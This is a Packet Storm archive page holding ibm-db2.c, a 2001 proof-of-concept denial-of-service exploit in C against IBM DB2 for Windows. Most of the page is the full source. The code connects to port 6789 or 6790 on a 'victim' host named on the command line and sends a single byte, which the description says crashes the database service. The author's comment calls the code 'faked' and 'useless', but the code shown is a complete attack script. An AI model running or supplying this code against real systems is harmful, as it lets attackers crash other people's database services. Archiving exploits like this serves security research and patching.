what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

ibm-db2.c

ibm-db2.c
Posted Jul 29, 2001
Authored by Honoriak

IBM DB2 (which works under W98/NT/2000) Proof of concept Denial of Service. Sending 1 byte to port 6789 or 6790 IBM DB2 crashes, as described in ibm.db2.dos.txt.

tags | exploit, denial of service, proof of concept
SHA-256 | 44d64dfbdbb1557b294143c33f8c5588ad8abdebac45e6280e99353be9cf7797

ibm-db2.c

Change Mirror Download
/* 

----[ honoriak@helisec 21.7.2001

Denial of Service against IBM DB2 for Windows (98/NT/2000)
Problem: Crash when it is sent 1 byte to port 6789 (db2jds.exe)
or 6790 (db2ccs.exe)
Advisory: Thanks to Gilles.
http://packetstormsecurity.org/0107-exploits/ibm.db2.dos.txt

Proof of concept. DON'T ABUSE.
Script-kiddies: bad luck, it's faked. Man netcat, this .c is useless.
Only boredom.

*/

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <stdlib.h>
#define PORT 6789 /* or 6790 */

void usage(char *ar) {
fprintf(stderr, "DoS against IBM DB2 for Windows (98/NT/2000) by ");
fprintf(stderr, "honoriak@helisec\n");
fprintf(stderr, "usage: %s victim\n", ar);
exit(0);
}

unsigned long resolv(char *h)
{
struct in_addr h_prov;
struct hostent *hv;

if (!(hv = gethostbyname(h))) return(0);
memcpy((char *)&h_prov.s_addr, hv->h_addr, hv->h_length);
return(h_prov.s_addr);
}

int main(int argc, char *argv[]) {

struct sockaddr_in vic;
unsigned char boom;
int sck, cn;
boom = 'P';

if (argc < 2) {
usage(argv[0]);
}

bzero(&vic, sizeof(vic));
vic.sin_family = AF_INET;
vic.sin_port = htons(PORT);

if ( (inet_pton(AF_INET, argv[1], &vic.sin_addr)) <= 0) {
vic.sin_addr.s_addr = resolv(argv[1]);
}
if (!vic.sin_addr.s_addr) {
fprintf(stderr, "Error resolving host\n");
exit(-1);
}
if ( (sck = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
fprintf(stderr, "Error opening socket\n");
exit(-1);
}
if ( (cn = connect(sck, (struct sockaddr *)&vic, sizeof(vic))) < 0) {
fprintf(stderr, "Error connecting...\n");
exit(-1);
}

if ( (send(sck, &boom, strlen(&boom), 0)) < 1) {
fprintf(stderr, "Error sending, IBM DB2 is installed? 6789 is closed. Try 6790.\n");
exit(-1);
}
fprintf(stderr, "1 byte sent");
exit(-1);
}

/* helisec 2001 */
Login or Register to add favorites

File Archive:

December 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    0 Files
  • 2
    Dec 2nd
    41 Files
  • 3
    Dec 3rd
    25 Files
  • 4
    Dec 4th
    0 Files
  • 5
    Dec 5th
    0 Files
  • 6
    Dec 6th
    0 Files
  • 7
    Dec 7th
    0 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close